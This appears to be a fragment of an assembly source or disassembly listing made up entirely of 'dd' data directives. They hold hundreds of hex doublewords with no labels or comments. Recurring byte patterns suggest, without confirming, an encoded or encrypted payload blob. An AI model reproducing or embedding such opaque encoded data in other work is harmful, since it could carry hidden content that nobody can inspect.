		dd 7EC7BE28h, 6EBA8F16h, 3CB13261h, 0EAB1325Fh,	3275653Dh
		dd 95A8D68Bh, 3DB13225h, 4A31CBDDh, 57B15338h, 0ABBEDA36h
		dd 0BC383256h, 84D986CFh, 7DB894Eh, 1C742ADEh, 8D063D93h
		dd 3B898B08h, 57D01793h, 20485256h, 0D5B15391h,	0EE313D36h
		dd 13B13256h, 0DB8B9EEDh, 52583256h, 0BCB13256h, 2B3A7DFBh
		dd 38ABDF81h, 95F8E86Bh, 0EAB17F4Bh, 75B135BFh,	215FED56h
		dd 0BDD6C452h, 0A6583256h, 0C7B13256h, 98B44B22h, 0D55F8E9Ah
		dd 0EAB1CE56h, 75B138BFh, 1BB2A456h, 0D13DCECFh, 0AE1D1CEAh
		dd 57BDDB56h, 0A9B53256h, 0A57ACE68h, 75921A46h, 75B13C36h
		dd 0BABCDB36h, 1F543256h, 588F8E2Ah, 7D3C38BFh,	573424ABh
		dd 29B13237h, 3B132AAh,	75B1325Fh, 5C7AC8CDh, 7F816C4Ch
		dd 0A1B13273h, 57B13BD1h, 0A44D5256h, 0D5B132DFh, 6BBE5356h
		dd 75B13253h, 6B3A5436h, 0B4B13237h, 0AEB1325Dh, 6C69E692h
		dd 0FEB441B3h, 0D5A601C0h, 0EAB1CB56h, 8D76B936h, 53B13237h
		dd 5DB13259h, 9978FA1Eh, 7AE65858h, 0C7686406h,	0D536FCB2h
		dd 0FE353D56h, 9CB13256h, 0BAB13259h, 347A11E2h, 99A5966Dh
		dd 658ED25h, 0AB44B236h, 0D43F3D56h, 12B13256h,	0F0BE3256h
		dd 0BAB13240h, 5DB123BFh, 0CAABF656h, 2EA76BE4h, 13A04A11h
		dd 4EF3D854h, 0EAB1AEEEh, 0B241B336h, 3873824h,	594AA542h
		dd 87075237h, 57D0BAE3h, 0AA333D56h, 2CB13256h,	0EAB7DA36h
		dd 0E06B3256h, 0B9DA024Bh, 766AB309h, 0CF88F874h, 58D13256h
		dd 0ABB122D3h, 0D5BADB56h, 93E33256h, 375FA66Dh, 86C2F421h
		dd 5DA3DA42h, 71B43256h, 0A20F5EDDh, 0E086EEE8h, 0F8D599CAh
		dd 67147FB9h, 2C6E8D59h, 0BAB4DB37h, 5AAF3256h,	0AE7FCCE8h
		dd 51323D56h, 0CBB13256h, 2F3A5336h, 0E5B13237h, 75B13AD8h
		dd 0B8373D56h, 3DB13256h, 0CEB13237h, 57BFDBAAh, 98643256h
		dd 4C89F24Ah, 1A413B43h, 0F8F5BDA7h, 53B13237h,	5DB1325Eh
		dd 9D7D6ACEh, 0FDB6F833h, 8178B36h, 15304DB0h, 0E4937308h
		dd 80B13237h, 3CBE3256h, 5DB1325Eh, 0AEB3BC59h,	36D13256h
		dd 0CDD13256h, 329BE1D7h, 0EAB13ABFh, 0ABF8056h, 60670027h
		dd 5D445362h, 0AEB1CE56h, 0AEB132AEh, 28BE3256h, 0D5B13258h
		dd 0EAB13BBFh, 16E53556h, 22DBCB96h, 0D3BE683Fh, 0AEB1325Eh
		dd 57B3B459h, 0CAD13256h, 5EBE3256h, 0EAB1325Fh, 13BB8736h
		dd 7064E4D7h, 0A5B13237h, 24BE3256h, 57B1325Ch,	0ABB137BFh
		dd 0E10FAF56h, 0EAB14B52h, 75B0BB59h, 0BA483256h, 5DBADB56h
		dd 99633256h, 0BD5B4827h, 105B872Ch, 0DC343DCAh, 8AB13256h
		dd 0F4D7F7DCh, 0DB8B8599h, 52443256h, 0AEB124D9h, 57A0DB56h
		dd 8EB3256h, 8FB09291h,	1D529100h, 4F1FC778h, 0BAA7F28Ch
		dd 5D4DC756h, 0AEB1CE56h, 0AFB132AEh, 0AB493256h, 0D5B1CE56h
		dd 0EAB137BFh, 75EDE56h, 0BAB1910Dh, 0D80A5436h, 0AEB153E7h
		dd 913A5436h, 0ABB139BEh, 6108F56h, 504460FCh, 6C8E8DBh
		dd 0BAD068AFh, 5DA1DB56h, 6AD73256h, 0D824EE72h, 0F54C104Eh
		dd 5A16E7h, 0EAB1D2BBh,	75A9BA59h, 0A9583256h, 0DEB13256h
		dd 0D0868BA8h, 0A1539F61h, 0A9043013h, 703BAA93h, 0EAB1FA52h
		dd 75B13DBFh, 0A95E2156h, 0E6D879C4h, 0DEBF8F83h, 71A13CCBh
		dd 0AC583256h, 40B13256h, 79B1C583h, 15D1D5B5h,	4B5FB330h
		dd 0DDBE53A9h, 0AEB13254h, 57D06C00h, 0CA445256h, 0D5443256h
		dd 0EAB7DB56h, 6E4E3256h, 0D2894B47h, 4E583256h, 32B13256h
		dd 45E8442Ah, 7457846Ch, 0E23C2BF4h, 909F90A4h,	15D16D67h
		dd 53D06904h, 5DB1325Fh, 0B9DEDC7Dh, 0C8585766h, 0ABB15380h
		dd 0DAB132AAh, 0EAB12BDAh, 75A5DB56h, 40343256h, 340D0FC3h
		dd 1C79E0h, 0A9A4BB4h, 71AF0FB9h, 0D5B19BBAh, 0EAA0BF59h
		dd 79583256h, 59B13256h, 8610874Dh, 0DB614B6Fh,	37F60639h
		dd 0ABA4BF59h, 0C5583256h, 2EB13256h, 457DD53Dh, 0A4E117D6h
		dd 831D0021h, 46526536h, 57B13256h, 0C75BB30Ch,	0B5B780F2h
		dd 0EABEDB36h, 0E5EF3256h, 28290FCFh, 0D315D744h, 0B048539h
		dd 5F585333h, 43B13256h, 0DA6F8760h, 8B2E5ECCh,	75B126BFh
		dd 0F29F5256h, 0D0174F7Ah, 5108C4D8h, 0A64A9495h, 96BBCB76h
		dd 0C534BF9Dh, 8AB783D5h, 146A8D59h, 0BAB13FBFh, 818D56h
		dd 0A7716180h, 63D9DA3h, 2938A87Bh, 0D303BCB0h,	0EF373D36h
		dd 13B13256h, 30FDC5D7h, 0DF3C53AFh, 0A8025AB8h, 0D538C7AAh
		dd 0AD03BCAFh, 0D5BBBA59h, 0EF583256h, 0BBB13256h, 4A4715BDh
		dd 5D85FABEh, 0AEB8DB56h, 2C83256h, 0A216DFC4h,	3DCAE004h
		dd 0EAB1302Fh, 75B13EBFh, 92E14D56h, 939A0635h,	0F7615F4Ah
		dd 6C33F5B2h, 0ABB780D8h, 0B5B13256h, 0EAB4B559h, 0F4D73256h
		dd 3AA14481h, 0FD091A3h, 254BB936h, 0D2775387h,	0AD1D016Fh
		dd 0C4075200h, 0A6A1C2ECh, 27D9535Ch, 532D9AEEh, 5DB13245h
		dd 54338019h, 41A6679Ah, 805C1CE9h, 0BAEF8157h,	157295D1h
		dd 0D9903FE3h, 0DAD1CA50h, 0D1BE5336h, 0AEB13256h, 60085437h
		dd 2E3C5356h, 0D31E5B7Fh, 8A61CDAAh, 75B13ABFh,	0B6C02356h
		dd 0CE403EF7h, 0CFDE8394h, 52303D36h, 11B13256h, 0F113B3E3h
		dd 0CF34BB37h, 15B79E5Ah, 260A8B30h, 5DBCDB37h,	46DF3256h
		dd 0D7EE407Dh, 10EA58ECh, 0BF283599h, 0EABADB52h, 36123256h
		dd 4351C563h, 61D4671Ch, 0BEB15A50h, 0DBBE3256h, 0ABB13251h
		dd 0D5B0B559h, 82493256h, 75B23F16h, 0BAB120BFh, 0FAAEA556h
		dd 3F54F3FDh, 26C9151Bh, 5B35D983h, 0BFD300F3h,	0EAB9DB56h
		dd 0F8C3256h, 7D2FB078h, 54587E23h, 0A6B13256h,	40AD8A4Dh
		dd 0F952E201h, 0D358E2A9h, 0FFB13256h, 6A42DB77h, 53EBC775h
		dd 5DB13245h, 0A856670Ah, 3886D243h, 0FD10C4B0h, 0DC9BA3EEh
		dd 0E54ECB49h, 75B126D3h, 0BABEDB56h, 96DB3256h, 477DDC20h
		dd 54B43BE6h, 0FEFF88h,	0DA7139BFh, 0EAB1CDD2h,	0F738CA56h
		dd 0BC03BC6Dh, 33BBAEh,	0CEB780D8h, 57B139BEh, 33451256h
		dd 0ECAE7B95h, 0D7549763h, 75B1BA59h, 3BE93256h, 6110AE98h
		dd 26BE5353h, 57B13257h, 0A6F18BAFh, 0D3583255h, 88B13256h
		dd 8F024F85h, 0DA49B9E5h, 5DB13ABEh, 0D9E7B56h,	0F0A73D5Ch
		dd 0AB373DBEh, 8CB13256h, 8B638D59h, 7358F265h,	33B13256h
		dd 1A29CAB0h, 0CE1BC107h, 4E33A9EFh, 20D75240h,	0B441B999h
		dd 80496037h, 75D9C752h, 0DAB13246h, 5DB135BFh,	0A01FF356h
		dd 9D6369F5h, 0ABB13EBEh, 50788456h, 70ED1762h,	150C8D6Dh
		dd 61063D2Ah, 0DFBE530Dh, 0AEB1325Ah, 57B7B359h, 2BBE3256h
		dd 0D5B13256h, 0EAB5323Eh, 75B6DB56h, 0EA5F3256h, 4395AC77h
		dd 47B158B5h, 57B13259h, 552539B0h, 3CB8CE92h, 0ABF9F7Dh
		dd 80871720h, 0B694A0A9h, 74D34FAh, 0AEB6B259h,	31D13256h
		dd 57E602EEh, 0D733BB37h, 12B780C7h, 0F03ACB37h, 0BC03BC6Dh
		dd 5DB8BC59h, 0C8D13256h, 0EEEBD8D7h, 68D06B07h, 55BE52AEh
		dd 0EAB13257h, 0F433F5A3h, 0BAB79E45h, 52B17256h, 0AEB133D9h
		dd 0D576CB56h, 0AD1D06A7h, 0D5B12256h, 0EAB0B159h, 144D3256h
		dd 0DA4DF1AEh, 660BB9A3h, 0CEB780D8h, 4A8CFE9h,	28D0CE5Eh
		dd 51BE3269h, 0EAB1334Fh, 75A0B959h, 53D13256h,	5DB1325Ch
		dd 0A92A8DBFh, 0BA87A203h, 28D0B455h, 0DAB32229h, 0EAB16CD2h
		dd 743A3D56h, 42B13256h, 59A14DD5h, 0AE14B659h,	0EDD13256h
		dd 0AC104DC1h, 3DD05236h, 0EAB1325Dh, 7D6C31E4h, 91B12DCCh
		dd 2ECC4DCh, 69325337h
		dd 0D9BE5242h, 0ABB13243h, 0D5B122BFh, 1AACE756h, 0C3EE8A72h
		dd 0D041F167h, 4238BA8Fh, 573A642Fh, 0D758530Ch, 0CB4ECDA9h
		dd 6ED7E8DCh, 2DD06644h, 75B02211h, 0B5D13256h,	5DB121DDh
		dd 0AEBFDB56h, 53283256h, 4940DF1Ah, 0A2CD1984h, 4F92206h
		dd 75BEB659h, 0B0583256h, 40B13256h, 8AB25966h,	0E23B3A3Bh
		dd 424453ACh, 2A4ECDC4h, 0D40A5436h, 75A1DBAEh,	119B3256h
		dd 815649ACh, 7243F358h, 0F76416FDh, 6CD02099h,	0D5B22211h
		dd 3D13256h, 75B1325Bh,	182C4E0Fh, 0E60C0209h, 6D37AD8Fh
		dd 57BBDBC9h, 5EBD3256h, 0BDF3EB02h, 6C793D0Ah,	8AF9DB37h
		dd 0B458CDA9h, 0E5B13256h, 333A50Ch, 412B429h, 0E75B1E29h
		dd 0DE58534Dh, 32B13256h, 6FADFFFBh, 0ED7191Ah,	0A172F9C9h
		dd 423ACE03h, 57BBB659h, 0AE583256h, 0CFB13256h, 6BD76C0Eh
		dd 7AD15236h, 0BAB132DBh, 54595356h, 61B13256h,	4CF5AF80h
		dd 48813772h, 8A7FB930h, 0EAB1DA37h, 0F4EB3256h, 81808BCh
		dd 5658CA50h, 0A7B13256h, 4450B055h, 24A755EAh,	0B54872C5h
		dd 53D704E4h, 0FED04C9Bh, 82003E4h, 5C353D50h, 57B13256h
		dd 0BEB977DDh, 0ABB13253h, 0CFC7DD26h, 0E6323DD8h, 7AB13256h
		dd 0BAB134DEh, 5D343D56h, 27B13256h, 0D532CB50h, 0AD03A367h
		dd 54D75252h, 6BABEDBDh, 0FCB5A498h, 0B5D0530Eh, 5DB13ED4h
		dd 0AEB6DB56h, 69713256h, 3A89BAC4h, 1748FBFCh,	69BE3252h
		dd 75B1324Eh, 0B559C736h, 0EDB13256h, 29E15666h, 17494CE8h
		dd 0B8048FE4h, 0B4EF7366h, 0EB323D36h, 8CB13256h, 0BAB132BEh
		dd 0B7306856h, 0A8039BB7h, 0E20A52AFh, 0CA977E25h, 44B380DDh
		dd 63BE34E4h, 75B13257h, 8B0309AFh, 52B780C7h, 0AEB090D2h
		dd 5E58C756h, 0D9B13256h, 49C1B5E4h, 0F1268BC8h, 0FCBE0CDDh
		dd 0BAB13246h, 5DB139BFh, 7D24AA56h, 3684EF88h,	0C413BF24h
		dd 5CBEEDDDh, 0EAB13251h, 7AEF6236h, 0B5D0E9E9h, 0B4B07DE0h
		dd 0AEB13259h, 0F1411DD6h, 729DD68Ch, 0F24805BCh, 1CC9DB32h
		dd 7A313311h, 0BAB111D3h, 84B2CE56h, 0AEB135BFh, 7BF38756h
		dd 342D6E9h, 0D5B120BFh, 0EABBDB56h, 78203256h,	0B8B13258h
		dd 0A974C434h, 0ED48EB7Dh, 584BB836h, 0ABB137D1h, 65BC8A56h
		dd 8AD06215h, 2036F3D7h, 0B5E06445h, 3CE9C1E9h,	0AEBEDB15h
		dd 89D23256h, 4206B1FBh, 0FF4DBD6Fh, 50ACF560h,	0CC34B933h
		dd 46B79E47h, 0D83CB9AEh, 57B79E56h, 57B0B059h,	90493256h
		dd 84333D8Eh, 0E5B13256h, 75B13ED6h, 0BC393D56h, 52B13256h
		dd 0AEB132D1h, 58680956h, 0ABB105D1h, 0C2393D56h, 3B13256h
		dd 75B13244h, 7447EFAFh, 570A4A57h, 36382981h, 0E4898868h
		dd 6D320291h, 0DF333D52h, 3B13256h, 75B13253h, 0F969FE59h
		dd 8B58C78Eh, 574ECDA8h, 0D3BEFD6Dh, 0ABB1322Dh, 0DE585236h
		dd 27B13256h, 0C480C681h, 6B6F4DE3h, 0A831556Fh, 0CF4453C1h
		dd 57348FDFh, 27BE34FAh, 0D5B13245h, 0EABADB36h, 37FF3256h
		dd 0B66148C1h, 94209B20h, 47D0C788h, 0A84ECCD2h, 0ABB126BFh
		dd 9962D156h, 0A0431D44h, 3E4267C6h, 0B413A09Eh, 5C8056B9h
		dd 23BE522Fh, 57B13250h, 0ABB1B159h, 5DBE3256h,	0EAB13244h
		dd 75B13EBEh, 0C4DD7956h, 19E6D9C8h, 251C2443h,	36D06A4Ch
		dd 62208836h, 223151C5h, 8A7253F2h, 75B3BA59h, 0DBD13256h
		dd 3C46B930h, 15085236h, 31DDF9F0h, 0F0EEE1D7h,	0D559CA37h
		dd 0B0B13256h, 0DE66D8D7h, 0B5D134E4h, 0DCBEE8E1h, 0AEB13254h
		dd 37D0FCDDh, 0CA478D59h, 0D5A5DB36h, 0D2CB3256h, 70F68EA5h
		dd 45B8A7h, 92984D20h, 0FCE3BB53h, 5F58B0DBh, 70B13256h
		dd 92CEC45h, 8BF0DF8Ah,	0E4B388DDh, 32BE34E4h, 5DB13251h
		dd 590E3D36h, 0EED05336h, 0ABB13356h, 0D5B0BE59h, 0D94D3256h
		dd 86305296h, 0B96830A8h, 14AF0E8h, 542535Dh, 57B126BFh
		dd 0EA5A3256h, 0DB4CE042h, 0AEC916E6h, 357DA542h, 0E8340510h
		dd 5F33B940h, 47B780C7h, 57B13244h, 16195AC8h, 43468935h
		dd 96E439FBh, 5BFCDCAFh, 0DCD19145h, 3DD1C8DDh,	0CFD05237h
		dd 6633BB37h, 0CBB780C7h, 0B44D0BE2h, 0D305237h, 7B12FDEAh
		dd 38BEF137h, 5DB13257h, 464452AFh, 57B13256h, 75BB30Ch
		dd 2CB780FAh, 0EAB134BFh, 0C1208856h, 0B59FAEB6h, 5DB121D7h
		dd 0A3353D56h, 0BEB13256h, 0ABB1325Eh, 3576513Fh, 820299FFh
		dd 4688B790h, 0B5E734FAh, 5DB127DCh, 25D75256h,	57BBDA91h
		dd 0F5623256h, 12E579D9h, 0FA7C6B4Dh, 4CD95308h, 0B5652D3Bh
		dd 5DB133DEh, 1B4ECB56h, 511D135Bh, 8234BFA3h, 2DB79D3Fh
		dd 0EAB139BFh, 2FCF2256h, 7DBD5D4Bh, 0C964D255h, 2BBEE2A9h
		dd 57B13241h, 42E96136h, 0D5B13258h, 980C031Eh,	222A1D27h
		dd 0A85383A2h, 0FD06643h, 0BE59CE36h, 0F9B13256h, 0E0B65306h
		dd 2951E69Ah, 367BAA53h, 2C2F1555h, 0D24D6237h,	5DB1B256h
		dd 0B6393DAEh, 0BEB13256h, 0ABB13245h, 0D8EBCA2h, 43F7C8EAh
		dd 47DBC997h, 936591B7h, 37B997D0h, 25D75256h, 180B54AFh
		dd 194E5341h, 0D303BC6Dh, 0EAB9BE59h, 0FED13256h, 66085480h
		dd 8D4E5383h, 0AEB126BFh, 6B0C5156h, 7F6A4468h,	7358C877h
		dd 1D30D7A7h, 50945D5Ah, 0E04D6AB5h, 5DB7B859h,	0A1D13256h
		dd 364DCAE1h, 0AB31323Eh, 0D5BEDB56h, 0E1F33256h, 0BD6FF606h
		dd 459E27D9h, 193634EFh, 47B15893h, 57B13259h, 93A7D459h
		dd 0D840EC49h, 50F02BB8h, 8C1FAD67h, 2BB380A9h,	0A24434E4h
		dd 22BE5286h, 57B13256h, 0A4D053AFh, 0D5B133D7h, 8A72CE56h
		dd 75B13FBFh, 82C05756h, 26A91CE6h, 168CCB1Bh, 0DCD72688h
		dd 2AD15385h, 0B0B8DDB0h, 8BEF6229h, 993ACB03h,	0BAB121BFh
		dd 1825BA56h, 8F02205Eh, 6AEBACC9h, 0E380BFCDh,	9A1290AFh
		dd 0E0383D36h, 9CB13256h, 0BAB13253h, 0A1E349B1h, 0AEB1DA49h
		dd 0D6EB3256h, 191F58BCh, 0D5A2DB50h, 0E2CD3256h, 633FDFF5h
		dd 271CDA86h, 4E43FCFFh, 92CF9D1h, 56393D6Fh, 5EB13256h
		dd 0DAB947DDh, 0EAB133D4h, 9D49CB56h, 0BAB13C29h, 5DA2BF59h
		dd 0A0583256h, 5B13256h, 0EF77CF4h, 69AA0E9Eh, 83BB9FF9h
		dd 0FFBE6792h, 0BAB1325Ah, 5DB7BF59h, 25BE3256h, 57B13256h
		dd 2557A0A9h, 5BBE34E4h, 0EAB13257h, 75A2DBA3h,	0AC3D3256h
		dd 0FFB86500h, 4257B7C5h, 0DFFBC43h, 4D2FA19Bh,	0C6586FE1h
		dd 0AB13256h, 787CB670h, 83C5E2A4h, 4C4724BAh, 7557D898h
		dd 228A3DB2h, 23343D5Ah, 294ECDA9h, 0EABF34BEh,	75A5DB56h
		dd 0F2993256h, 6E15AC0h, 0B4AC551Fh, 0A126DC35h, 0C17AFCB6h
		dd 0B5D0D574h, 8B638D59h, 7D73CE9Fh, 0BB3C3D56h, 0A4B13256h
		dd 0B93A3D03h, 58B13256h, 0ABB123DDh, 0D5BDDB56h, 25D83256h
		dd 0AF9CA313h, 4FB7F5CFh, 0D64D7F40h, 0A43A3DBAh, 37B13256h
		dd 4262B330h, 63A54FAh,	1675B137h, 75B0BF59h, 0EC443256h
		dd 5C383D36h, 57B13256h, 57B139BFh, 0B46CEA56h,	2AD2933Bh
		dd 0A212871Bh, 7E586537h, 92B13256h, 4DAD91FFh,	0D75AEA72h
		dd 58E29DD4h, 0ABB135D7h, 0D43B3D56h, 1FB13256h, 75B132BEh
		dd 50306856h, 5B039DEBh, 0AEBEDBAEh, 0ED453256h, 64984D20h
		dd 87E3BB53h, 0B74AB0DBh, 7DC4B9E9h, 0BAA3B259h, 50583256h
		dd 64B13256h, 34B0491Ah, 0C01892C9h, 0D684D55Ch, 8AA14FDDh
		dd 89608559h, 0DA486537h, 4D598FE7h, 8BB13256h,	0BD3D80DFh
		dd 4E9F957Ah, 0C2D577DEh, 0E5851199h, 75B132DAh, 0ECD06B56h
		dd 5DB13CBFh, 6F373F56h
		dd 0DF7983ECh, 24D825F8h, 0B54797FAh, 0EAB7DA36h, 0E7093256h
		dd 288FF224h, 3CA18109h, 0AEB13BBFh, 4269EC56h,	9A832894h
		dd 3DD0FBD1h, 0EAB13390h, 0BA3A5436h, 0BD2AF4D7h, 0A1D01514h
		dd 2ABEF25Dh, 57B1337Fh, 20D7CB36h, 2D3A5380h, 8BD15236h
		dd 75B1B259h, 0B5D03256h, 3DD0F0E9h, 4773B930h,	57B13251h
		dd 58518394h, 0B42795B2h, 0ED363D03h, 7AB13256h, 0BAB133DDh
		dd 0CF4ECE56h, 0A803BCB0h, 57B137BFh, 0D50FB556h, 56BE72AEh
		dd 0EAB1324Dh, 75A5DB36h, 0DF653256h, 0B3F68D13h, 7683C5h
		dd 26D51D22h, 229F11BFh, 88D075E3h, 0EABBDB36h,	43183256h
		dd 0DED90812h, 4109295Eh, 0AEA2BF59h, 5A593256h, 0D6B13256h
		dd 0BB3563Ch, 3F35DCA8h, 0C8A922D6h, 0CF8A530Ch, 0D3353D5Ah
		dd 47B13256h, 57B13258h, 95DC586Ah, 42C564E3h, 198C707Ah
		dd 0FED76445h, 5D31CE48h, 433BC7A6h, 0AEBDDBAEh, 57183256h
		dd 0C670D103h, 0DFDE1935h, 9318605h, 65393DA6h,	53B13256h
		dd 5DB1325Dh, 0FCA7C269h, 72D693DFh, 437A6AFBh,	0D5B116BCh
		dd 1412DBAAh, 0FABECDA9h, 0BAB13241h, 5DB120BFh, 0CD4CCB56h
		dd 610EDC2Dh, 74B9BA54h, 17B1F242h, 8A3EC8C1h, 9C7FB930h
		dd 0BAB13242h, 7BC4F34Dh, 0B9453F91h, 1C1F46C9h, 7D09B713h
		dd 263679D6h, 16CCBB37h, 75B0B959h, 524D3256h, 0A24EC44Dh
		dd 0AEB120BFh, 0D24D5256h, 0DFE2F89Fh, 7C1F9024h, 0EDC4CAEFh
		dd 2E3816C9h, 0E4446DAAh, 5DB123BFh, 77EB4056h,	333A650Eh
		dd 2611915Bh, 71E1990Eh, 0AF3A391Dh, 75BDDBAAh,	1E2B3256h
		dd 327C443h, 340571C2h,	0D0BEE375h, 0ABB13257h,	0D058FBAAh
		dd 0A7B13256h, 0EEB38966h, 0B5B13E94h, 5DB12BD5h, 0BD383D56h
		dd 0BEB13256h, 0ABB13258h, 5B7020A0h, 0AE46514h, 0A41CE621h
		dd 0DAE43538h, 5DB13BBEh, 629C6956h, 52495B20h,	25BE15DAh
		dd 0D5B13256h, 0A057B309h, 14AFAA75h, 3BD1DEDDh, 1907ACA6h
		dd 8960886Ch, 0D4D01A8Eh, 0A4D1CA92h, 0D5B137DCh, 1305456h
		dd 0F4D7BA1Eh, 0DB0F2D97h, 0B4E15201h, 0AEB13250h, 74AEC1BFh
		dd 0CDE8B192h, 29D0F9DDh, 0F9303D00h, 9CB13256h, 0BAB13258h
		dd 8E188AE8h, 183139C4h, 0B1C7617Ah, 0A4E0CE49h, 0D5B12BD7h
		dd 0EAA5DB56h, 130F3256h, 4A938F37h, 73C0805h, 0B3197A1Ch
		dd 8E4D4633h, 0A4E24C0Ch, 0D5B13ADDh, 8BD15256h, 0C7778930h
		dd 42F4F537h, 5DB13256h, 0AEB0B559h, 90483256h,	1921BCD4h
		dd 0D5B13350h, 9F3ACB56h, 783F3D5Eh, 53B13256h,	5DB1325Eh
		dd 0B9506CBBh, 0A266A694h, 0CBAFB930h, 0D53C3D36h, 8CB13256h
		dd 14F41EEFh, 31D0E3DDh, 0EF3F09ECh, 0AEA0DB50h, 0CF303256h
		dd 57BA3C90h, 0B7B6E0D0h, 5CBB8A1Fh, 0FEBBF8E0h, 0B1443A09h
		dd 2A353D8Dh, 0CEB13256h, 6CD0ECDDh, 8A343D88h,	0B5B13256h
		dd 0CCB810EFh, 75BCDB45h, 367B3256h, 84FFEDB4h,	0F3461AE2h
		dd 36983D15h, 53BD6FDDh, 2DBD6DDFh, 3A5F5D5h, 75B13244h
		dd 158D6E11h, 0E6CBEA7Bh, 8DB3415Ah, 0A027C36Fh, 358C55Dh
		dd 0DA4ECDA9h, 0EAB123DBh, 7E323D56h, 53B13256h, 5DB13250h
		dd 42F472B7h, 5858D6D4h, 0E2B13256h, 6F163A36h,	97675D71h
		dd 0F371D88Eh, 31D7A888h, 0A631CB48h, 62353DBEh, 37B13255h
		dd 2AD7FADDh, 0B4357DB7h, 0E558C9D6h, 75B288D2h, 31D75256h
		dd 5D3E3DAFh, 0CFB13256h, 523A3D36h, 12B13256h,	0A3857619h
		dd 8B68B930h, 7A5AC9D6h, 0BAB2A4D2h, 0A631CB56h, 0D6353DB4h
		dd 0BEB13255h, 0ABB1325Ah, 6C9B1372h, 0AC9C37EDh, 1530B68Ch
		dd 0B552C9D6h, 5DB200D2h, 0AEA1DB56h, 16673256h, 8233C90Fh
		dd 7F278842h, 0E978BEF1h, 0F4D77A94h, 0B55255ADh, 5DB20CD2h
		dd 0AEBDDB56h, 0E6323256h, 3B4FFA81h, 2FB628AFh, 0D31C3C9h
		dd 13E352A6h, 3BE8CCDDh, 70294F88h, 2FD75327h, 58313DADh
		dd 0ABB214D2h, 6ED75256h, 0F4088AD2h, 14C419E3h, 5341D1D6h
		dd 5DB13253h, 0D67BFE97h, 274AB2ECh, 0A8B4B659h, 0B5D13256h
		dd 5302F9DCh, 0D056B337h, 0DBC46C00h, 0B4AFB930h, 0AEB1325Fh
		dd 6CEB36A9h, 0C16B3629h, 2D52B22Dh, 6B9E8036h,	0D8FB7A9Eh
		dd 41315302h, 0F2353DEEh, 57B13257h, 57A0B459h,	2FBE3256h
		dd 0D5B1325Dh, 0EAB134BFh, 4FB86D56h, 3A37152Dh, 0D9BE3768h
		dd 0AEB133D8h, 57A6B259h, 0B9583256h, 5DB13256h, 9362CC0Bh
		dd 0D1682C0Ch, 443F3714h, 4EA06748h, 838FB2FAh,	56D9B659h
		dd 29BE3256h, 0D5B1325Fh, 757BB336h, 8C8D3CB5h,	0D28FB237h
		dd 5CE1B659h, 0A5583256h, 0EFB13256h, 37283307h, 0BE94AF07h
		dd 684E5F70h, 7303A2D8h, 0BAB13DBFh, 278F6A56h,	157C40F7h
		dd 2883629Fh, 31386FE3h, 3CAFB930h, 0EAB13253h,	0B0EB24DEh
		dd 5D31C7B6h, 5DBBDBAEh, 0D55B3256h, 5F6DBB21h,	0D6118155h
		dd 544AB330h, 11353DBEh, 89B13256h, 0B5AFB930h,	5DB13ED3h
		dd 0A83D3D56h, 58B13256h, 0ABB132D1h, 54D75256h, 60E99E8Fh
		dd 923153B8h, 0BABEDBA6h, 0F10B3256h, 0A4D81A70h, 87FD4B5Bh
		dd 1029F58h, 0D5BDDB64h, 710A3256h, 34D7AC45h, 0E779C9Fh
		dd 0DCD78EE9h, 0A171B3ADh, 57B19BD2h, 0BA585256h, 86B13256h
		dd 16AED420h, 9429408Ch, 0CB1824DFh, 0F748B2E2h, 0CED0C0DDh
		dd 57B6BC59h, 23BE3256h, 0D5B13257h, 8CD167A3h,	89EAE3D7h
		dd 0DBD0CB36h, 0D357A0A9h, 0BF5834E4h, 0BDB13256h, 6515179Ah
		dd 9833C511h, 0B81414Ch, 3A3277E7h, 0B6373D0Bh,	52B13256h
		dd 0AEB134DDh, 57323D56h, 0A4B13256h, 0D5B12ED9h, 0FC3A3D56h
		dd 9CB13256h, 0BAB13247h, 0D6312468h, 4ACEE9B9h, 786181E5h
		dd 0CFD7A956h, 29F4BB68h, 694853AEh, 7AB0CE2Bh,	0BAB325D3h
		dd 56585256h, 0DCB13256h, 0DF882A5Ah, 27B1983Fh, 0D31AD06h
		dd 503A53B5h, 731D21D7h, 0BAABB459h, 52D13256h,	0AEB132D1h
		dd 57BCDB56h, 66933256h, 56FAAEBDh, 159B0563h, 14A3715Ch
		dd 383ACB06h, 5B03A2D8h, 0AEB7DA36h, 0ACFF3256h, 4A0CF4CFh
		dd 8E4BC7D6h, 0E5D0F8DDh, 75B138D7h, 0E1E05256h, 5DB1BD59h
		dd 97D03256h, 0F49026Ah, 0AA17B059h, 5DBE3256h,	0EAB13257h
		dd 840BB9A3h, 42B79E62h, 2B0F5436h, 2FD762CFh, 9CAD8B5h
		dd 0A4586237h, 5DB13256h, 262DECE6h, 99DE4F81h,	0C726C9BAh
		dd 0DF3AF6F9h, 0A803A2D8h, 56353D36h, 5EB13256h, 0ECD0C2DDh
		dd 8A49026Ah, 75B4B159h, 0AA0E3256h, 0DC986064h, 8A722BB6h
		dd 58E95304h, 0ABB075D9h, 0D5BFDB56h, 0EA1E3256h, 9408024Dh
		dd 0BF94BD0Eh, 0A9BAB441h, 0AEB17CBFh, 80305256h, 8F4D5ABCh
		dd 0D5B1B559h, 2DD03256h, 75B3CA13h, 0B0583256h, 70B13256h
		dd 0EDBCB6B0h, 0F8305FA9h, 0AB94DB4Eh, 0B5D13256h, 84716FEEh
		dd 75323D14h, 0DBB13256h, 9AD0CBDDh, 0AEB0CA13h, 58D13256h
		dd 0ABB130DAh, 0DAD05256h, 61D0E2E9h, 0C73F09ECh, 0BABADB50h
		dd 0C7813256h, 0BB8344E1h, 0F4699E22h, 53AEB9EBh, 51BEE95Dh
		dd 0EAB13296h, 0B0095436h, 0BA3F3D72h, 3CB13256h, 0AEB0B859h
		dd 6C493256h, 0CF343D88h, 0DAB13256h, 0EAB123D9h, 7E383D56h
		dd 53B13256h, 5DB13250h, 47EF5769h, 0A3A68B4h, 4C31525Ah
		dd 0D5A3DACFh, 7B8E3256h, 0E6A8951h, 2D8BCF70h,	65728B34h
		dd 0AEC25854h, 36EB6800h, 0AB494FD5h, 0D5B4B659h, 0E9443256h
		dd 0FC44CA0Bh, 0AE583609h, 13B13256h, 0B5167D2Fh, 72E1E02Fh
		dd 7D798DF6h, 0BF521A86h, 69D5C8BCh, 0F8BE2691h, 0BAB13257h
		dd 0A2D6DBA3h, 9D49CDA9h
		dd 7D58CA96h, 0CBB13252h, 0D5B2B259h, 5DBE3256h, 1450B894h
		dd 0BAA1DB36h, 61A63256h, 0C24AA18Eh, 1AF8E358h, 9F8AEB99h
		dd 54D72615h, 8B90BB9Eh, 7AAFB930h, 0BAB133DBh,	203AC756h
		dd 6730525Ah, 54550BBEh, 0ABB135BEh, 9D1FC156h,	30847EFAh
